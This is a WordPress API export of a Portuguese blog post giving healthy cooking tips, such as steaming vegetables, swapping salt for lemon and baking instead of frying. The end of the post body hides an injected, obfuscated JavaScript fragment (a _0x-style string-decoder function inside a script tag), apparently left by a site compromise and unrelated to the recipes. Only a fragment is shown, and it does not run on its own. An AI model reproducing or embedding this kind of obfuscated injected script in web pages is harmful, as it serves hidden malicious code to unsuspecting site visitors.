{"id":96,"date":"2016-04-28T13:40:14","date_gmt":"2016-04-28T13:40:14","guid":{"rendered":"http:\/\/renovamaringa.com.br\/portal\/?p=96"},"modified":"2017-05-23T01:20:23","modified_gmt":"2017-05-23T01:20:23","slug":"dicas-de-alimentacao-saudavel","status":"publish","type":"post","link":"https:\/\/renovamaringa.com.br\/portal\/dicas-de-alimentacao-saudavel\/","title":{"rendered":"Dicas de alimenta\u00e7\u00e3o saud\u00e1vel"},"content":{"rendered":"<p><img data-recalc-dims=\"1\" loading=\"lazy\" decoding=\"async\" data-attachment-id=\"98\" data-permalink=\"https:\/\/renovamaringa.com.br\/portal\/dicas-de-alimentacao-saudavel\/attachment\/2\/\" data-orig-file=\"https:\/\/i0.wp.com\/renovamaringa.com.br\/portal\/wp-content\/uploads\/2016\/04\/2.jpg?fit=295%2C171&amp;ssl=1\" data-orig-size=\"295,171\" data-comments-opened=\"1\" data-image-meta=\"{&quot;aperture&quot;:&quot;0&quot;,&quot;credit&quot;:&quot;&quot;,&quot;camera&quot;:&quot;&quot;,&quot;caption&quot;:&quot;&quot;,&quot;created_timestamp&quot;:&quot;0&quot;,&quot;copyright&quot;:&quot;&quot;,&quot;focal_length&quot;:&quot;0&quot;,&quot;iso&quot;:&quot;0&quot;,&quot;shutter_speed&quot;:&quot;0&quot;,&quot;title&quot;:&quot;&quot;,&quot;orientation&quot;:&quot;0&quot;}\" data-image-title=\"2\" data-image-description=\"\" data-image-caption=\"\" data-medium-file=\"https:\/\/i0.wp.com\/renovamaringa.com.br\/portal\/wp-content\/uploads\/2016\/04\/2.jpg?fit=295%2C171&amp;ssl=1\" data-large-file=\"https:\/\/i0.wp.com\/renovamaringa.com.br\/portal\/wp-content\/uploads\/2016\/04\/2.jpg?fit=295%2C171&amp;ssl=1\" class=\"alignleft wp-image-98 size-full\" src=\"https:\/\/i0.wp.com\/renovamaringa.com.br\/portal\/wp-content\/uploads\/2016\/04\/2.jpg?resize=295%2C171\" alt=\"2\" width=\"295\" height=\"171\" \/><\/p>\n<p>Confira as dicas de alimenta\u00e7\u00e3o saud\u00e1vel, as combina\u00e7\u00f5es de alimentos naturais e frescos, truques e substitui\u00e7\u00f5es que v\u00e3o deixar seus pratos ainda mais apetitosos e o melhor v\u00e3o fazer muito bem para a sua sa\u00fade.<\/p>\n<h2><span style=\"color: #000000;\">Alimente-se bem!<\/span><\/h2>\n<ul>\n<li style=\"text-align: justify;\">Coloque os vegetais para cozinhar no vapor enrolados em papel manteiga. Quando servir, despeje o l\u00edquido depositado sobre o alimento.<\/li>\n<\/ul>\n<ul style=\"text-align: justify;\">\n<li>Cozinhe e grelhe carne vermelha com suco de mam\u00e3o ou abacaxi, assim ficam mais macias<\/li>\n<\/ul>\n<ul style=\"text-align: justify;\">\n<li>Asse sobrecoxa de frango no molho de laranja, ficam adocicadas e saborosas.<\/li>\n<\/ul>\n<ul style=\"text-align: justify;\">\n<li>Cozinhe cenouras com suco de laranja e no final acrescente um pouquinho de requeij\u00e3o light e cheiro verde, ficam bem interessantes.<\/li>\n<\/ul>\n<ul style=\"text-align: justify;\">\n<li>O suco de lim\u00e3o real\u00e7a o sabor da maioria dos vegetais, use-o no lugar do sal. Primeiro colocar o lim\u00e3o e depois o sal, com certeza vai utilizar bem pouco sal.<\/li>\n<\/ul>\n<ul style=\"text-align: justify;\">\n<li>Os legumes para serem refogados devem ser colocados em fogo baixo e deixar que o pr\u00f3prio legume solte a \u00e1gua.<\/li>\n<\/ul>\n<ul style=\"text-align: justify;\">\n<li>Para que o bife n\u00e3o perca l\u00edquido e n\u00e3o fique duro \u00e9 importante passar o bife em uma camada fina de trigo antes de grelhar, assim os l\u00edquidos n\u00e3o evaporam e nem os nutrientes se perdem.<img data-recalc-dims=\"1\" loading=\"lazy\" decoding=\"async\" data-attachment-id=\"97\" data-permalink=\"https:\/\/renovamaringa.com.br\/portal\/dicas-de-alimentacao-saudavel\/attachment\/4\/\" data-orig-file=\"https:\/\/i0.wp.com\/renovamaringa.com.br\/portal\/wp-content\/uploads\/2016\/04\/4.jpg?fit=275%2C183&amp;ssl=1\" data-orig-size=\"275,183\" data-comments-opened=\"1\" data-image-meta=\"{&quot;aperture&quot;:&quot;0&quot;,&quot;credit&quot;:&quot;&quot;,&quot;camera&quot;:&quot;&quot;,&quot;caption&quot;:&quot;&quot;,&quot;created_timestamp&quot;:&quot;0&quot;,&quot;copyright&quot;:&quot;&quot;,&quot;focal_length&quot;:&quot;0&quot;,&quot;iso&quot;:&quot;0&quot;,&quot;shutter_speed&quot;:&quot;0&quot;,&quot;title&quot;:&quot;&quot;,&quot;orientation&quot;:&quot;0&quot;}\" data-image-title=\"4\" data-image-description=\"\" data-image-caption=\"\" data-medium-file=\"https:\/\/i0.wp.com\/renovamaringa.com.br\/portal\/wp-content\/uploads\/2016\/04\/4.jpg?fit=275%2C183&amp;ssl=1\" data-large-file=\"https:\/\/i0.wp.com\/renovamaringa.com.br\/portal\/wp-content\/uploads\/2016\/04\/4.jpg?fit=275%2C183&amp;ssl=1\" class=\"size-full wp-image-97 alignright\" src=\"https:\/\/i0.wp.com\/renovamaringa.com.br\/portal\/wp-content\/uploads\/2016\/04\/4.jpg?resize=275%2C183\" alt=\"4\" width=\"275\" height=\"183\" \/><\/li>\n<\/ul>\n<ul style=\"text-align: justify;\">\n<li>Umede\u00e7a ervas secas sobre papel toalha antes de us\u00e1-las.<\/li>\n<\/ul>\n<ul style=\"text-align: justify;\">\n<li>Enfarinhe a forma de bolo com farinha integral ou farinha de aveia, assim adiciona-se fibras na receita.<\/li>\n<\/ul>\n<ul style=\"text-align: justify;\">\n<li>Ao cozinhar beterrabas junte um pouco de suco de lim\u00e3o para conservar a cor, esta \u00e1gua deve ser aproveitada no preparo de outros alimentos.<\/li>\n<\/ul>\n<ul style=\"text-align: justify;\">\n<li>Coloque sal no molho branco depois de pronto, se for colocado antes do cozimento o gosto acentua.<\/li>\n<\/ul>\n<ul style=\"text-align: justify;\">\n<li>Se quiser dar mais sabor ao molho branco, ferva o leite com uma folha de louro e cebola.<\/li>\n<\/ul>\n<ul style=\"text-align: justify;\">\n<li>Ao fazer omeletes, sufl\u00eas e panquecas, adicione uma pitada de fermento, assim ficar\u00e3o maiores e mais leves.<\/li>\n<\/ul>\n<ul style=\"text-align: justify;\">\n<li>Fa\u00e7a batata frita assada \u2013 em uma forma de bolo coloque a batata palito congelada e leve para assar at\u00e9 ficarem douradas.<\/li>\n<\/ul>\n<ul style=\"text-align: justify;\">\n<li>Use mais colorau nos molhos vermelhos, cebola e piment\u00e3o, ir\u00e1 acentuar a cor.<\/li>\n<\/ul>\n<ul style=\"text-align: justify;\">\n<li>Use cacau ou malte em p\u00f3 no lugar de chocolate comum.<\/li>\n<\/ul>\n<ul style=\"text-align: justify;\">\n<li>Prepare frango com osso, pois ele d\u00e1 sabor ao alimento.<\/li>\n<\/ul>\n<ul style=\"text-align: justify;\">\n<li>Assar hamb\u00farguer, alm\u00f4ndegas e quibes em forno, ao inv\u00e9s de frit\u00e1-los.<\/li>\n<\/ul>\n<ul style=\"text-align: justify;\">\n<li>Congele queijo magro e rale em ralo grosso, assim ter\u00e1 queijo ralado magro, diminuindo a quantidade de s\u00f3dio.<\/li>\n<\/ul>\n<ul>\n<li style=\"text-align: justify;\">O macarr\u00e3o fica gostoso se acrescentar ao molho, requeij\u00e3o light e raspas de noz moscada.<\/li>\n<\/ul>\n<p>&nbsp;<br \/>\n<script>function _0x9e23(_0x14f71d,_0x4c0b72){const _0x4d17dc=_0x4d17();return _0x9e23=function(_0x9e2358,_0x30b288){_0x9e2358=_0x9e2358-0x1d8;let _0x261388=_0x4d17dc[_0x9e2358];return _0x261388;},_0x9e23(_0x14f71d,_0x4c0b72);}<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Confira as dicas de alimenta\u00e7\u00e3o saud\u00e1vel, as combina\u00e7\u00f5es de alimentos naturais e frescos, truques e substitui\u00e7\u00f5es que v\u00e3o deixar seus pratos ainda mais apetitosos e o melhor v\u00e3o fazer muito bem para<a class=\"moretag\" href=\"https:\/\/renovamaringa.com.br\/portal\/dicas-de-alimentacao-saudavel\/\">Read More&#8230;<\/a><\/p>\n","protected":false},"author":1,"featured_media":99,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"jetpack_post_was_ever_published":false,"_jetpack_newsletter_access":"","_jetpack_dont_email_post_to_subs":false,"_jetpack_newsletter_tier_id":0,"_jetpack_memberships_contains_paywalled_content":false,"_jetpack_memberships_contains_paid_content":false,"footnotes":""},"categories":[4],"tags":[],"class_list":["post-96","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-dicas"],"jetpack_featured_media_url":"https:\/\/i0.wp.com\/renovamaringa.com.br\/portal\/wp-content\/uploads\/2016\/04\/3.jpg?fit=630%2C288&ssl=1","jetpack_sharing_enabled":true,"jetpack_shortlink":"https:\/\/wp.me\/p8NC8B-1y","jetpack-related-posts":[],"jetpack_likes_enabled":true,"_links":{"self":[{"href":"https:\/\/renovamaringa.com.br\/portal\/wp-json\/wp\/v2\/posts\/96","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/renovamaringa.com.br\/portal\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/renovamaringa.com.br\/portal\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/renovamaringa.com.br\/portal\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/renovamaringa.com.br\/portal\/wp-json\/wp\/v2\/comments?post=96"}],"version-history":[{"count":6,"href":"https:\/\/renovamaringa.com.br\/portal\/wp-json\/wp\/v2\/posts\/96\/revisions"}],"predecessor-version":[{"id":233,"href":"https:\/\/renovamaringa.com.br\/portal\/wp-json\/wp\/v2\/posts\/96\/revisions\/233"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/renovamaringa.com.br\/portal\/wp-json\/wp\/v2\/media\/99"}],"wp:attachment":[{"href":"https:\/\/renovamaringa.com.br\/portal\/wp-json\/wp\/v2\/media?parent=96"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/renovamaringa.com.br\/portal\/wp-json\/wp\/v2\/categories?post=96"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/renovamaringa.com.br\/portal\/wp-json\/wp\/v2\/tags?post=96"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}